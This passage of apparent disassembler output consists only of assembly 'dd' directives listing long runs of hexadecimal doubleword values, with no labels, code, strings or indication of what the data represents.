		dd 0F1802282h, 0D41B9510h, 102CEC04h, 28B43EA8h, 7B058CD9h
		dd 64B7FD67h, 82CB58A2h, 0EC451200h, 6C0A3763h,	0D829BBB3h
		dd 6930C52Ch, 97F31h, 0ED9A94D2h, 0BAE5CBD5h, 0CF28239Fh
		dd 86290022h, 9B9C8CD1h, 3E78E7C8h, 8B48A074h, 0FC3D2613h
		dd 66EFF600h, 16DFF9D4h, 8B0D5CD9h, 0C13388F4h,	21D6D5C1h
		dd 0B7B08468h, 988E4C47h, 0BEC024C8h, 0F7FBAE8Ch, 718F5822h
		dd 39801342h, 570E1C7Ch, 256941BEh, 0B19EE5A6h,	0B6976Dh
		dd 0CAF71D40h, 0FA123CF0h, 0E46BD681h, 0AC003E23h, 0B1910BF6h
		dd 0E9221301h, 24CF2BAh, 6FFB4AAFh, 58F046A0h, 1EBC80D7h
		dd 82003543h, 0DCFFDB45h, 5774797Dh, 7B00899Fh,	66D85B10h
		dd 0F83E28A5h, 5A9E837Dh, 0A9D6DA9Fh, 3430D7F0h, 20325C12h
		dd 3D320B8Eh, 0AC9478B8h, 2FFC8C3Dh, 4C6CF902h,	4022E285h
		dd 948434E8h, 307BC0F4h, 88949B28h, 0D090EC12h,	0C341A809h
		dd 0E57F651h, 43343100h, 1F542ABEh, 0B6D112EBh,	0D8F2EDh
		dd 8DE9870Ah, 0FFEA5Fh,	5666F3A0h, 0F1A8129Dh, 0ADF6E3Fh
		dd 0F4E2142Dh, 0FCF8A849h, 1A178E02h, 0A7F86510h, 5B40F46Dh
		dd 993BB13h, 267B3583h,	691E7CB0h, 0ADB1C262h, 0B8E4E040h
		dd 7C524D9Fh, 4760C14Eh, 33A42009h, 9D3F2127h, 893B11BCh
		dd 6080356h, 80BA98DEh,	70D96552h, 0B8D4BCDBh, 24384325h
		dd 620818CAh, 8742C4Ah,	0D30287D8h, 760D558Ch, 32465C90h
		dd 0B9E91909h, 2A188C66h, 0F3110958h, 0C1DA0059h, 0D2830DA2h
		dd 21E4A506h, 9C8B314Bh, 7BC012C8h, 1E47C6F1h, 715299DEh
		dd 2F3ADC70h, 69E0600Bh, 0CF10268Ch, 0BE1E8753h, 4C0082Fh
		dd 3DAF4005h, 98710167h, 0D718FA84h, 144B3FB3h,	81A0517Eh
		dd 0DC9EAFF2h, 0FE2C201Bh, 3913EB77h, 0B008EC7Bh, 48F480E7h
		dd 0F7DC3C6Ch, 0EAA930Fh, 0C65CA09Ah, 0E0A46B36h, 0D14117AEh
		dd 0F17CA0E5h, 3C09E109h, 46D2001Dh, 0EC60EAADh, 29CB66Eh
		dd 904666Ch, 465E645Ch,	44940A30h, 71008C32h, 0D75FB7D6h
		dd 69649CB0h, 0AE795451h, 48052018h, 67CAA6FFh,	58822CB8h
		dd 1C74631Bh, 94FC5794h, 0F4E0091h, 6E7C54E3h, 910A0F16h
		dd 0C3F697B7h, 6CA80CE0h, 0A74FAE8Bh, 0FC65F402h, 0DCCC7414h
		dd 19E5B00h, 4A82F888h,	0C3F35BA3h, 0A8F8AF88h,	0B7B70FBCh
		dd 0B287BF18h, 59E6C193h, 24E804h, 3202D199h, 561E2F30h
		dd 0FFADB0A1h, 0A2C83472h, 69775F10h, 8C8A5F79h, 89124994h
		dd 8885E38Eh, 1BC91002h, 0D24846Dh, 0A10884FEh,	88D80E98h
		dd 206FC73Ah, 0FC7A715Fh, 0B3EAC300h, 0E32A7818h, 9A8F009Ch
		dd 3F8A3AA0h, 130AB9DFh, 407E108Eh, 0D7C85F00h,	0E650221Bh
		dd 0F02D525Eh, 0D0003222h, 86CBE4D8h, 13ADF930h, 205F1E39h
		dd 33CA3C48h, 83649207h, 0E86C7FB0h, 4AE58E9h, 8815CF8Fh
		dd 0E0733B00h, 9B6C7BF4h, 982D4726h, 3B18F57Ch,	5AC6F931h
		dd 703C3DFFh, 0DCE12612h, 9090FA74h, 0A7B81F09h, 71888B36h
		dd 5BBF83E4h, 0FF81B3FAh, 23A7D904h, 0F216006Ch, 9E2C50E5h
		dd 2DA8045Eh
		dd 0D0ADDACFh, 1BE702B8h, 54989CB0h, 66F2A612h,	0A90AFC45h
		dd 1C0078BDh, 0E3CF6B48h, 98B560E7h, 13A477ACh,	8DE014D5h
		dd 0E4207A54h, 3EF237h,	0E0466FACh, 74993161h, 0FEFFD05h
		dd 0B45F50A8h, 744C3AEDh, 18465684h, 8BF9ED09h,	7736EC10h
		dd 80E4041Fh, 120080E4h, 6BB788F7h, 851D2EC3h, 0EC0C0270h
		dd 78C8F384h, 5F0BA157h, 9D44123Bh, 812891A4h, 98D30DCFh
		dd 52FDCCh, 0A4F126A9h,	9FADA6EDh, 48C00A4Ah, 0BBC69CEh
		dd 1F209E8Dh, 0B8F9D062h, 0F91822D1h, 64330927h, 0E42403FCh
		dd 0CEFB5BF0h, 8EA83B98h, 230EBA01h, 31BCA6B0h,	232C3B7Ah
		dd 35C000AFh, 0A5FDC8CDh, 0B27E1C98h, 9D608480h, 2CF2805h
		dd 1916BDE4h, 0EC712860h, 597EC9Ah, 748CF7C4h, 9E79B0h
		dd 2AA4F3Dh, 4C15CB67h,	7A16301h, 0AD55A38Bh, 7E31B021h
		dd 725F36F0h, 9F8911Bh,	80528D31h, 0A32FCC90h, 40B80ED3h
		dd 0F886B8ADh, 0B09D9541h, 2E802711h, 3B2625D3h, 440ACA02h
		dd 4009C818h, 28C020Ch,	0A617D8C5h, 0DC5ADF85h,	1AB45B00h
		dd 56D3D04Ah, 44917Fh, 0BE9B721Fh, 29004043h, 4B2D3CA4h
		dd 0CE80A96h, 7ADE395Dh, 68883AA0h, 97460B64h, 9A0E602Ch
		dd 89833C45h, 1137F8DCh, 0F048B700h, 3F443080h,	20AA0139h
		dd 0A735B8C2h, 0FDD460F2h, 0D17EE404h, 3481DCB1h, 0E90120C8h
		dd 48832B3h, 3B0CA037h,	0ACF70880h, 0E36B0152h,	1C06684Fh
		dd 6B9CD575h, 0D900846Eh, 62C6D389h, 45F0FC5Ch,	4CC2EF2Dh
		dd 0D42C94E4h, 0F18D1800h, 2D6CA661h, 276809F8h, 78C3C3B3h
		dd 1B9087E8h, 0CCD0BFFBh, 0D6DE1AA4h, 64355571h, 0EA438981h
		dd 206A5D49h, 0FE4ABEECh, 99FA2C00h, 4BE65BBAh,	0BA7E6789h
		dd 59586047h, 0F95B035Ah, 0C0DA2032h, 905F098h,	0B53AF299h
		dd 0A9040058h, 65782093h, 0F9ABF782h, 191F71D0h, 1F6A5ACCh
		dd 275E0310h, 0A4D300B2h, 0EFC06851h, 0AE1204C3h, 0CA54B946h
		dd 0AC805CCCh, 0B0008C13h, 2AEC3037h, 647417A1h, 8859A034h
		dd 22003144h, 6E96C201h, 97451Ch, 0D9E7EC10h, 63AB6A5Ch
		dd 898C1A5Ch, 0B3605894h, 0F4E57830h, 0C1085D00h, 0ABF836BEh
		dd 72021301h, 95F8980Fh, 0CE766301h, 19A6FF73h,	5F312730h
		dd 0AEA890B1h, 6E0053C7h, 11106434h, 29794835h,	79900263h
		dd 2A1814h, 65A3581h, 0BBA369BDh, 0C64D200h, 0F8E17F0Dh
		dd 0B1EE03E2h, 7BF9912h, 5BE90AA0h, 14493500h, 0ECE63691h
		dd 84E667Ch, 4A002156h,	5820493Dh, 6653CAh, 38DC086h, 0B08B2C07h
		dd 0A44ED800h, 9BF0E72h, 12B21498h, 3787309Bh, 4691A249h
		dd 3C105731h, 4706493Fh, 0EB43D337h, 7E6108B0h,	8403F45Dh
		dd 0FEDE78Bh, 1D540318h, 10C53E70h, 9900D4AFh, 223BFC41h
		dd 58C0FBEDh, 0ABCD9E09h, 0EEB00662h, 8496805h,	2C21D561h
		dd 0C3F4CD95h, 0C0E10F89h, 248388B1h, 99077BD9h, 99D22AFBh
		dd 64A4D6E1h, 5B690C0h,	8386850Ch, 23742E0Eh, 36C90062h
		dd 0E13E8801h, 632F2A00h, 0FFD9CFD6h, 34110006h, 3E76252h
		dd 39C010C0h, 36151964h, 0EC610013h, 4386875Ch,	8B008E09h
		dd 0C703518h, 304CE780h, 12B805AAh, 0C7000FEAh,	68238337h
		dd 0C62B8B0Eh, 20E8D308h, 0C717CB12h, 8C3D1100h, 18E7E26Fh
		dd 89B937B8h, 560C31Bh,	0A9BE9481h, 32FA0079h, 68CA6A99h
		dd 6228D37Fh, 0C100D431h, 9CEEE303h, 60C28387h,	6C73C039h
		dd 14290664h, 9581D4C6h, 0E22FD562h, 492A6880h,	8789E52Eh
		dd 0CB68FB0Eh, 2853A0D1h, 5424190Ah, 1FF2C40Dh,	8394AC91h
		dd 8F090CC6h, 60F6093Bh, 0AC9A5220h, 86590034h,	2047D963h
		dd 8F75059Dh, 1CE6605Ch, 775DB5F0h, 53857830h, 60B4A88Eh
		dd 0DE9F338Dh, 99888318h, 43F8E67Fh, 283FFC24h,	0AFCDA2C0h
		dd 22504662h, 992802DDh, 87D918CDh, 0A4802044h,	3B308663h
		dd 5EE760E5h, 783763EEh, 0F1AA85AFh, 0E0084D05h, 0C711C09Ah
		dd 13468335h, 0C901EE22h, 90DAC719h, 78D81E86h,	903777FCh
		dd 0AB021854h, 38E24906h, 4CD68C02h, 0E1877026h, 4C248F6Ch
		dd 385300Eh, 0F6E44D29h, 61BEF003h, 0D9A7FCh, 7AE35169h
		dd 0F9EFE910h, 28F17C31h, 42F95CACh, 232C848h, 5B9B1CAAh
		dd 66E04A9Ah, 94504B19h, 718C1EE4h, 879B08ACh, 0B16F0B8Eh
		dd 0AC954903h, 0DCDCF296h, 48C9A58h, 910F493Ah,	2060624Eh
		dd 3A49423Bh, 7D05A00h,	0F7ED0DCDh, 8FAF3ADDh, 0EC21BD02h
		dd 646663C6h, 0C01BA8C8h, 87A2ACAFh, 0F9229646h, 0AC985000h
		dd 0B1E3631Ch, 0DD420C9Ch, 0A281FC60h, 840D2F26h, 33809791h
		dd 26911649h, 485F448Ch, 0CA493B0Fh, 0DE00D767h, 6A18AD4Dh
		dd 4B733C72h, 8305A0C8h, 22E8766Eh, 3130958Ch, 91481349h
		dd 46403896h, 40493903h, 883050E7h, 989E5872h, 4A6C29E8h
		dd 801F1184h, 879EACABh, 0F8448C76h, 0AC941C4Ch, 13F1232h
		dd 0C311962Ch, 0E71800Fh, 19902FF0h, 3C07013Dh,	176BBD8Ah
		dd 602DBC1h, 0D06873Fh,	0E4A465B3h, 6A526058h, 0B30B025Bh
		dd 0DC277BFBh, 295690A1h, 924830FDh, 23ACBA48h,	0C7150196h
		dd 18338331h, 1DC588D4h, 0E11EC701h, 1BD3911Ah,	50C72C0h
		dd 0D2E36E5Fh, 6EBC13BEh, 67C80270h, 0E2C383h, 0EE08629Ah
		dd 0BCDC7F4Ch, 0D5018CF1h, 28D4E119h, 87F8A9B2h, 4020F33h
		dd 91A003E8h, 0FC42E5F6h, 8060404Dh, 62B0CDA3h,	0DF448C98h
		dd 0CD9A1C2Bh, 2CCFC0AAh, 1143DE33h, 5B4C5474h,	0B8E00758h
		dd 70404DBh, 0E8AF4C1h,	4BB56000h, 850C1CB2h, 186C4633h
		dd 404FEEAEh, 289201E2h, 0B14F30A7h, 0BFD36980h, 40FB715Bh
		dd 637384ECh, 6CB80E78h, 4E95F1Fh, 46761426h, 45870054h
		dd 83D01706h, 9D8B0732h, 835025C6h, 0A9000223h,	0A3DF6105h
		dd 7F05630h, 0BA95E3F7h, 64F9D16Fh, 0AE2860EDh,	50176B40h
		dd 40F290A9h, 8F0AB5FCh, 0FCDFE38Bh, 0BD425F18h, 4DC8C7BEh
		dd 0D7C5BE0Bh, 334090D5h, 7080186Dh, 0FAA9C037h, 0B4FCFD6Eh
		dd 4A4840F1h, 0D00C073Bh, 0D892E8D2h, 4420B0E4h, 6A26B10Ah
		dd 874058C8h, 9A0D0BAEh, 355900D8h, 0DE962F32h,	1C2AB5D7h
		dd 1107BC85h, 7FD6652Bh, 262C90BCh, 1164B961h, 49388098h
		dd 8C3E9111h, 32216145h, 0DAD965C9h, 3EEDCh, 3171A3F4h
		dd 0A998602Dh, 0A6B458C0h, 61F1C8Fh, 514B83EAh,	6400F8BCh
		dd 416018Eh, 1B35A07h, 0B57A6681h, 40FF1A6Bh, 47C172F4h
		dd 0DF0AC200h, 8DC49904h, 44EB0141h, 0B666F41Bh, 836834CDh
		dd 60895B48h, 8DCC0258h, 0A8EE50FFh, 3192125Dh,	1C4C323Ah
		dd 11ACAE30h, 887E879Dh, 974B80F3h, 0FA9A8EACh,	0A5D36203h
		dd 0A07F6C8Ch, 990469D9h, 7850A80h, 4B38BBC8h, 74D4CE2Eh
		dd 3403F046h, 35BCE266h, 85F42C98h, 0E7AF4A2Ch,	0F76B09h
		dd 113C0A84h, 3E4B248Dh, 77E98F3Ch, 8F1C99C0h, 723032D2h
		dd 85609808h, 38DB496Fh, 0F2E26B00h, 17B603E5h,	6C923502h
		dd 400A1BBEh, 147612F4h, 203D4BD0h, 18E381F1h, 801C94C2h
		dd 0D222EC5Eh, 82260156h, 0C08C34DEh, 47210Ch, 65A8F587h
		dd 8AF3DD5Bh, 0E69CC50Eh, 2E3D86F8h, 4DAA02B8h,	59DF9D89h
		dd 0AB141840h, 32FA43Eh, 23319347h, 6E5900E3h, 4ACCFA2Bh
		dd 0D000C6D9h, 0CA2FA988h, 55AAC961h, 7530A8DFh, 90360085h
		dd 0A77691F0h, 4330E0E2h, 134D0BAh, 0E951C4ECh,	0C87C8BB1h
		dd 0CBA9C055h, 414AF6EEh, 0D423202Eh, 4FBE5B03h, 691BC838h
		dd 7AA213C3h
		dd 0DC20088Dh, 465E142Eh, 9C0F38F1h, 525324F5h,	2EC06F14h
		dd 803ED4AFh, 0B25A9C58h, 0F91B75BFh, 3042A9DCh, 6A99EE23h
		dd 560C39C0h, 8082D541h, 10048C4Bh, 2B833AC7h, 0CAC054A2h
		dd 5787C718h, 0C3220200h, 0A6C5555Ah, 3976175Dh, 236421EEh
		dd 0D27180DCh, 0F1717CACh, 0E91A0021h, 5E3A7C5h, 24905FD9h
		dd 3789380Ah, 8F00B051h, 9AE0ED2Ch, 0B6D80196h,	0D6E5B9Dh
		dd 0ED461B9h, 0C05F88E0h, 3A34E1DAh, 5C289B00h,	739179D2h
		dd 0C409C2Bh, 2FA9E723h, 4B4D8B01h, 0CB2804A6h,	18D59C4h
		dd 0D2870ECDh, 0F67BE603h, 2C60286Ah, 711EE49Fh, 5BC7EC72h
		dd 406E0C57h, 0A74CAFABh, 2D98A8DCh, 5F313EE9h,	0D814C600h
		dd 9EAFE65h, 84D4B800h,	0B561E60Eh, 905892D7h, 28D6E05Ch
		dd 4E08B83Bh, 23842E43h, 0A72B00DFh, 0EA8A01D0h, 8EB019CBh
		dd 0AE3C8ACh, 40A46CDDh, 0DA7FD392h, 40A68B1h, 467CB87Ah
		dd 2AA90362h, 0B877744Bh, 0BE8876Dh, 325EE717h,	85B624A0h
		dd 8389C0FBh, 0E63ED022h, 0C2BEA2BDh, 0C094C140h, 0FB8FA081h
		dd 0E42C16D1h, 0DCBC8458h, 0CCA2048Ch, 0A0C7D389h, 30ED1100h
		dd 6003D4C6h, 0DB011448h, 0EB22B062h, 0F658FE41h, 0DA050051h
		dd 8E1781E0h, 1660D7B1h, 40382B28h, 0C617508h, 534CDEDDh
		dd 17673008h, 20FE1820h, 0F6D67B9h, 808B007Fh, 944D4A61h
		dd 0CC61DA1Ch, 6F386828h, 0DE2D9FCh, 0A35DD0B9h, 8B709141h
		dd 7403980h, 0EF8C2361h, 40411510h, 0EAB6AE1Dh,	318282Ch
		dd 799CB18h, 0B332DDF3h, 6F4D9790h, 582C0D40h, 0E906F94Ah
		dd 0D659D409h, 2F8D0969h, 0E5077512h, 3E90BA1Ah, 2D340073h
		dd 1EC16D99h, 0E300698Ch, 8E5BB953h, 0C2F60DDDh, 3E5ED440h
		dd 608C60A4h, 233A4036h, 31119B61h, 403E1600h, 9F62758Bh
		dd 0F1A0280Fh, 7943519h, 0D0888554h, 7ACDD6A1h,	32EA4F60h
		dd 0B2A1D9FAh, 3DDE6080h, 0D00CAEE9h, 411FF669h, 3044E835h
		dd 0FB31DF19h, 0A603D271h, 0FCF32054h, 6008F659h, 691A21CDh
		dd 61ECD4D2h, 0E9E68012h, 603C0800h, 61B5C013h,	0F4DB29E0h
		dd 21B45002h, 540012B7h, 0C11020E9h, 0AEE264h, 6883973h
		dd 4461A622h, 6287FD00h, 0FAEC2A24h, 45CC2934h,	0D272014Ch
		dd 186854A7h, 6A1D88C5h, 0C170D200h, 27D88CD9h,	9FEF001Ch
		dd 3F259EDh, 160FCBA8h,	0B165D7h, 316BE0D9h, 59A10058h
		dd 0A99E22B7h, 3F01A20Eh, 7054BA60h, 2880E961h,	0D7FDD2C5h
		dd 0D1C74457h, 0A541068Ah, 0BC43D374h, 0F411E12Ch, 0F72100CBh
		dd 8C6E9EA2h, 0D80EFD6Dh, 9CFEBD93h, 8B510122h,	0B53F449Eh
		dd 0C92D204Ah, 19C8DA63h, 0F0D100CAh, 895A78FCh, 0C0FD3B99h
		dd 40EDE57Ah, 39326E8Ah, 91367901h, 44316A09h, 2064DFCh
		dd 876404B2h, 304AA5F6h, 12605A40h, 1134CF00h, 7C5554A3h
		dd 66B8C9D1h, 0D091001Dh, 7F648780h, 331471B1h,	802040CCh
		dd 54A2D26Dh, 0C4448C80h, 0D265001Eh, 205E536Ch, 8A7106C6h
		dd 8D54EC06h, 0F98D6B8h, 593F6EB2h, 0DED479E0h,	34520960h
		dd 30C5B234h, 0CF00B2E3h, 626F6B72h, 0AFF3282h,	0CC56D85Fh
		dd 28471488h, 8C3E8440h, 0A0D26B04h, 0C2625054h, 0D2632020h
		dd 0EA2F1E48h, 0AE55437Dh, 0C000CF04h, 1A4D1393h, 2453B880h
		dd 5E102D97h, 7018C2F9h, 0C9E0003Dh, 5277F33Ch,	109E6E7h
		dd 890C6256h, 0BEC803BCh, 42C801D2h, 2C05D8B1h,	92E088ACh
		dd 0A29B00D7h, 94628BFAh, 0AC2B48h, 7A36E4F3h, 90F9B258h
		dd 31661E70h, 3D094048h, 821C4EA2h, 6812777Dh, 4C40FCAFh
		dd 389705E1h, 1A35737Ah, 81D8213h, 0DBE5C90h, 73889700h
		dd 0D44253B6h, 4CD4D55h, 0F2A8CE32h, 487A1460h,	78EDC530h
		dd 0D3FB8ADEh, 0FDFD0641h, 0CE1D18F5h, 0C0304E80h, 0E5CB67D4h
		dd 3047D052h, 8913D264h, 54381854h, 0D21C031Bh,	26F609E7h
		dd 48CD079h, 7A3F9702h,	20E5621Dh, 62970AC1h, 0B4B8720Fh
		dd 3DC4414Fh, 0E6421DB5h, 42E4A009h, 95CAC16h, 318932A8h
		dd 0FBF6B301h, 79E6ECE4h, 0E1800609h, 35C404DAh, 0D0C868CBh
		dd 2DFB12C0h, 5AFA94h, 0CA732A72h, 6DACBF85h, 98FD7128h
		dd 992C9148h, 3426109Ch, 6B9EA302h, 4432858Ch, 34E7DCCh
		dd 4331329Eh, 0B0310AB2h, 53D881D5h, 2A8A2440h,	20CC4854h
		dd 0F08C6850h, 102C60D8h, 4412F499h, 0E93E2300h, 0B5C340ACh
		dd 705858D0h, 86125494h, 500042F7h, 60400D71h, 0D028BF42h
		dd 4C011457h, 0DE6114A6h, 76E4EE4Bh, 0B7130794h, 3008EACBh
		dd 0DAFE8553h, 0C00DE9C8h, 8C729EA6h, 0E1768D46h, 9E8F5500h
		dd 89109000h, 0FA6061EEh, 263090D4h, 7E00D22Ah,	800C146h
		dd 10FB778Ah, 8C0A6CA8h, 8C31C862h, 0D9DDB20Ch,	0BB6000F1h
		dd 59CD3005h, 560097CAh, 0D67F4A83h, 701BD47h, 573CA717h
		dd 8B4160D4h, 0E6056A06h, 0C17B05F1h, 30FAD48Dh, 0E898D26Eh
		dd 0E080484Ch, 39D26621h, 94805482h, 0EE3539C3h, 76126B80h
		dd 0C21C77D6h, 0CCEA5ACAh, 0F2559B05h, 300A6482h, 71119E89h
		dd 0FF8A958Ch, 925480ACh, 0FA09199Eh, 481E553Eh, 85753948h
		dd 0D4C6EA53h, 89D89C97h, 0B02FCFACh, 66844EC0h, 13EEFD56h
		dd 28522300h, 0F9B07C8Ah, 0CCAE261Ah, 0D75E0804h, 549A9B01h
		dd 3860A4CDh, 6F3E8C42h, 46D958D2h, 0BCF2284h, 61D2671Ch
		dd 0D4248F81h, 382356h,	0A8EBC1BEh, 0F29BB7DEh,	0A1D26488h
		dd 590C881Ah, 23C79117h, 7EA57500h, 0BA0F08E8h,	0D79028A8h
		dd 0CC1E2018h, 6A856803h, 0FC5F06FCh, 301C3CC2h, 3C119701h
		dd 0E888157Ah, 9709C282h, 9EC1600Dh, 28AF06ACh,	21D3AED8h
		dd 80034E3Ah, 50EE0B52h, 8E74E9h, 0C11EF513h, 0C529CE59h
		dd 0A4282402h, 0C28A9856h, 0E49C459Ch, 0B6EE60D0h, 7ACE3B0Ch
		dd 16835A4h, 0E7E8DF85h, 0F2187234h, 891530C2h,	186EBF05h
		dd 0C9028B5h, 0F97BE8h,	0F34A5F0h, 0E72A032h, 370EDE7Fh
		dd 20ECAB86h, 8A76116Eh, 8D5603E9h, 341C4294h, 0D34D907Ah
		dd 0B581154h, 0E8104C48h, 55A70527h, 0C881D954h, 1C472B15h
		dd 0A684A5C3h, 2A890718h, 0C7EBDECCh, 8B1FB14Ah, 0D8C7EAEDh
		dd 2F60FC44h, 4200A587h, 3F9027B8h, 3C529F5Fh, 0B58E8E48h
		dd 0E92AF4E0h, 0ACD900E4h, 20984CCh, 0E7A16612h, 0D4629C05h
		dd 0CA88548Eh, 5F8373C0h, 0C233F051h, 0B1A19E78h, 0FAB6B490h
		dd 1C8B6900h, 949A60F0h, 0F2110BC1h, 11002CF7h,	0A9BB8578h
		dd 6E885F09h, 0A40880EDh, 0BA5F859h, 16D8B69Eh,	180C3019h
		dd 6F9E08A7h, 5270A58Ch, 559E2990h, 8E7731Ch, 0CF351660h
		dd 9B75004Dh, 2402F76h,	392C7058h, 8D002007h, 69228144h
		dd 0DC91AFh, 515C2075h,	0E60110FCh, 39287A30h, 0F4EC6F54h
		dd 0C4A3001Ch, 605638D7h, 609C0336h, 3F879191h,	53615240h
		dd 470B001Ch, 37136C40h, 72003E9Bh, 33973D57h, 923C45ECh
		dd 1C4A0E98h, 5F85048Ah, 6BEC079Dh, 0AE83C8ACh,	91EC19A0h
		dd 64DC5940h, 9479508Eh, 20551252h, 875004D4h, 0EA67807Ah
		dd 50B334FAh, 7A9370h, 468565F5h, 3726B959h, 8A25DA3Dh
		dd 800F2E58h, 60D75A0Dh, 0BE03036h, 0AB002435h,	653AA318h
		dd 0B9F3E088h, 0E38B0090h, 3FE6843h, 97134D0Fh,	605FE14Fh
		dd 3424FADAh, 1E8E0049h, 472648D1h, 5C250790h, 85A8B52Dh
		dd 8455406Fh, 38202E10h, 940043F9h, 9A703F99h, 0F150A61Dh
		dd 371454CCh, 4EE01383h, 32233C2Fh, 0FEF9A400h,	7B4269ECh
		dd 204098F5h, 8DE6D5A8h
		dd 0FC02FF78h, 7ED44855h, 904849B5h, 40083A18h,	0C43B6106h
		dd 421A4124h, 51C8E040h, 5A5E0927h, 0D49D0D16h,	4680C111h
		dd 70E1D0D3h, 0E40107Ah, 6EF300CBh, 3912BBABh, 1604D163h
		dd 0EC41D07Bh, 9A801C9Eh, 4D53C4ABh, 71373C05h,	0DA097E24h
		dd 0AF9006D4h, 0A6170079h, 218EFE5Ch, 2C4AD6F6h, 0F938702Eh
		dd 4DEB1F43h, 42E1807Ah, 78617DC6h, 2CCA5C26h, 19688204h
		dd 9BC0C3EFh, 3CECF14Ch, 8428C1D8h, 28CCEBCh, 0ADF44783h
		dd 0F480C8C4h, 5FA22C05h, 0CE767818h, 1584478h,	5C807DD0h
		dd 280216F8h, 90DAEDE0h, 70773070h, 87D90CD5h, 0D860DF9Ah
		dd 8FDB830Ch, 1958C975h, 0E8EEF568h, 8794FC5Ah,	0C668406Eh
		dd 0A751E757h, 80514E9Ch, 82DCC1F4h, 1A89EACh, 6C389476h
		dd 8595E511h, 0C967D481h, 0EE1628C1h, 54CF5068h, 0B2790664h
		dd 256213Ch, 0A487DE4h,	4836B102h, 0ECC94C78h, 0F82D0296h
		dd 0B920603Bh, 1C853CD1h, 0C840D5ACh, 0C0568521h, 0C9AD0027h
		dd 584BCCB9h, 94B0A0BFh, 13D0A458h, 84040281h, 48E48DDEh
		dd 0D68107Ah, 114C2DFDh, 65E57820h, 8020826h, 2D7A3997h
		dd 0BB10CC31h, 49009710h, 31852FBCh, 99828655h,	18307924h
		dd 9768012Fh, 0CCB46DA6h, 8A2EF088h, 23DC2A14h,	0BC3A2890h
		dd 909D1014h, 0DB22A8h,	0EB33F86Dh, 7D05D89Eh, 283E2F4Bh
		dd 0EC0DC223h, 0FED81C03h, 0D89C2E85h, 7C4B8BB0h, 6880A4A9h
		dd 5C1393B9h, 0F4810629h, 4F40B05h, 1D30EC40h, 2E732DBDh
		dd 678B3Bh, 9C44DA22h, 0D538F63Eh, 0DFB295B7h, 0E1AC0390h
		dd 0F0D25294h, 0B72F460h, 6A0999A9h, 60367849h,	0F600124h
		dd 6018F261h, 0B64A0107h, 51AC2926h, 0E08884DDh, 7CF0656Dh
		dd 0D028F1BBh, 178CCEBCh, 20B49326h, 22BC64B0h,	85FF5000h
		dd 0EB7EAEE3h, 5CE000B7h, 7DDB8DAFh, 3B14C5E5h,	0B93826F6h
		dd 396A30FAh, 0D6762B00h, 0B3C551BCh, 5E84966Eh, 8439C546h
		dd 0AA629Fh, 442A707Eh,	6000DBB8h, 1CAE5509h, 22D6F201h
		dd 0D400FB5Ch, 3C8ACA6Fh, 6C8B3Fh, 12F49C86h, 0A0E09A9Bh
		dd 316DAC15h, 9E7509A8h, 0E438651Fh, 8AE263CFh,	0DF0E8A0h
		dd 83109E10h, 0F00165B6h, 1A626000h, 52BD9A4Dh,	1C22265Ah
		dd 0A7AB0238h, 0C083E894h, 85BAC1D2h, 4B04FC51h, 4C84D54Ch
		dd 0CE234C2Eh, 8551AF02h, 2498D848h, 42685505h,	0D867CC6Bh
		dd 1B80914Fh, 0B299333Ah, 0B61EAE75h, 2A89A3E8h, 0C4444582h
		dd 20126024h, 98E80351h, 0D85705E0h, 0D4B2A118h, 7EEF6F49h
		dd 23381F93h, 376C4AE6h, 30803DECh, 0D57E9482h,	0E50A569Eh
		dd 442D1D33h, 127465Ch,	0D4340FCAh, 172AF35Bh, 0C80CCB18h
		dd 2D76C024h, 0A306D3A1h, 812B0671h, 2924690h, 6104403Ch
		dd 0BCE74Bh, 0B240440Ch, 98025BA4h, 9BF7ABBEh, 0B984FA63h
		dd 182879F8h, 0F2161F88h, 4C3ED645h, 0B641E148h, 9E4617Eh
		dd 43A4F009h, 0EE98000Fh, 9CFBA885h, 0B4420434h, 98C513E1h
		dd 0E6882C8Eh, 298CECBh, 5F093F3Ah, 0E4780260h,	0C0B4A479h
		dd 2F3D0724h, 919C1708h, 543680CEh, 0C0B36CADh,	45DA3EC0h
		dd 0D95AE929h, 0F652DC42h, 87F4BD13h, 0A0E83F34h, 0F6A0A396h
		dd 8081D16Fh, 93C6A878h, 0BD4A132Bh, 68F48661h,	0D7C090ADh
		dd 4C188A3h, 5706A669h,	9A5C45D9h, 30660092h, 36149707h
		dd 0E0C4257Ah, 970FBCh,	301265EAh, 4CDC2683h, 5C4D2103h
		dd 88D6BE9Fh, 170A5A7Ah, 344055CBh, 0B2ACF2ECh,	0EFB030FAh
		dd 58305300h, 93716F4Dh, 2D430037h, 56764B8Dh, 0DCB433EAh
		dd 0C118F97Ch, 10C06B00h, 0B6F9568Eh, 27847DC3h, 48850568h
		dd 0A6E0A4C5h, 7064F38Ah, 0E20782D2h, 0D7D5EA78h, 879C88C3h
		dd 809B9E2h, 808F11ECh,	6103403Dh, 2F448C43h, 40450119h
		dd 0BFDA7C65h, 3994F0DCh, 20F4A127h, 5C7DBD3Ch,	6FC7016Dh
		dd 21DFC55Fh, 0F83202F5h, 9AA300FCh, 0DB493A2Bh, 0EB0A9472h
		dd 88B98841h, 7B066C04h, 13A1488h, 563FEA6Eh, 20CDCC8Eh
		dd 0AD255788h, 6D90C9D2h, 234C3E2Eh, 1C8E0027h,	88D4A09Fh
		dd 60E6A431h, 3824A9ABh, 5C389477h, 0AB0ECA46h,	0FD0125BFh
		dd 80DCB444h, 0C9081A91h, 3D0BCAh, 78F57614h, 3E0C1E81h
		dd 5F674002h, 7F9E54D7h, 52607082h, 3C00F05Ch, 0DEC755AAh
		dd 41909494h, 890B7950h, 85D76220h, 0D0A3C438h,	97AD59C8h
		dd 81FF91DCh, 53D45229h, 75074469h, 68071ED6h, 20F29F40h
		dd 352716C3h, 13FC88DAh, 2EE05611h, 0ABC60C58h,	4D07C9F9h
		dd 83D188Fh, 3DC0BC0h, 10A93F51h, 23C43ACEh, 5CA20527h
		dd 69DC0857h, 3D9704C0h, 2C0D4A7Ah, 0C05BF2Ch, 0F644A297h
		dd 2D11C82h, 0E4527F05h, 1000E4B6h, 0AB09ACBAh,	0C48E1A5Bh
		dd 305C28E3h, 9426F91Dh, 35FEAF6h, 0E0610AEEh, 9900F8ABh
		dd 0B92E5BB0h, 0A904198h, 29A84292h, 0DEDA0FA8h, 0F0683709h
		dd 71C1DB57h, 5ED0A762h, 8FE14047h, 0BC20D81Eh,	0E9510904h
		dd 0FC1DD9F8h, 0E2803191h, 46D1935Fh, 0D8410E0Fh, 9B92A69Ah
		dd 70581389h, 602C41B5h, 61187488h, 0A2B8338Ch,	3BF830E5h
		dd 1C799301h, 47B76899h, 0E415608Ch, 104983C0h,	45EC0440h
